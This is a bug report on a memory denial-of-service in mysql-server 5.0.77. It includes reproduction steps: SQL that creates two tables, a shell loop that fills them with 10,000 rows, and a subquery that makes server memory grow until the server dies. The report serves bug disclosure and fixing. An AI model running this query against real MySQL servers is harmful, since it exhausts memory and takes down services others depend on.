Bug 528512

Description of problem: Memory Dos in mysql exploitable by anyone that can read two tables with sufficient rows.


Version-Release number of selected component (if applicable):
mysql-server-5.0.77-3

How reproducible:
Create database and two tables:

CREATE DATABASE bugtest;
USE bugtest; 

CREATE TABLE `A` (
  `id` int(11) NOT NULL default '0',
  `val` int(11) default NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
CREATE TABLE `B` (
  `id` int(11) NOT NULL default '0',
  `val` int(11) default NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

Populate:

for x in `seq 1 10000`; do mysql -e "insert into A values ($x,$x); insert into B values
($x,$x);" bugtest; done

Query:

SELECT *,count(*) count FROM A,B WHERE B.id IN( SELECT DISTINCT id FROM A WHERE A.id=B.id)
GROUP BY A.id ORDER BY count DESC;

 
Actual results:
Sit back and watch memory usage climb till death.


Expected results:
Memory usage should not uncontrollably climb.

Additional info:
Reported upstream as http://bugs.mysql.com/bug.php?id=47980 reported as not affecting 5.0.86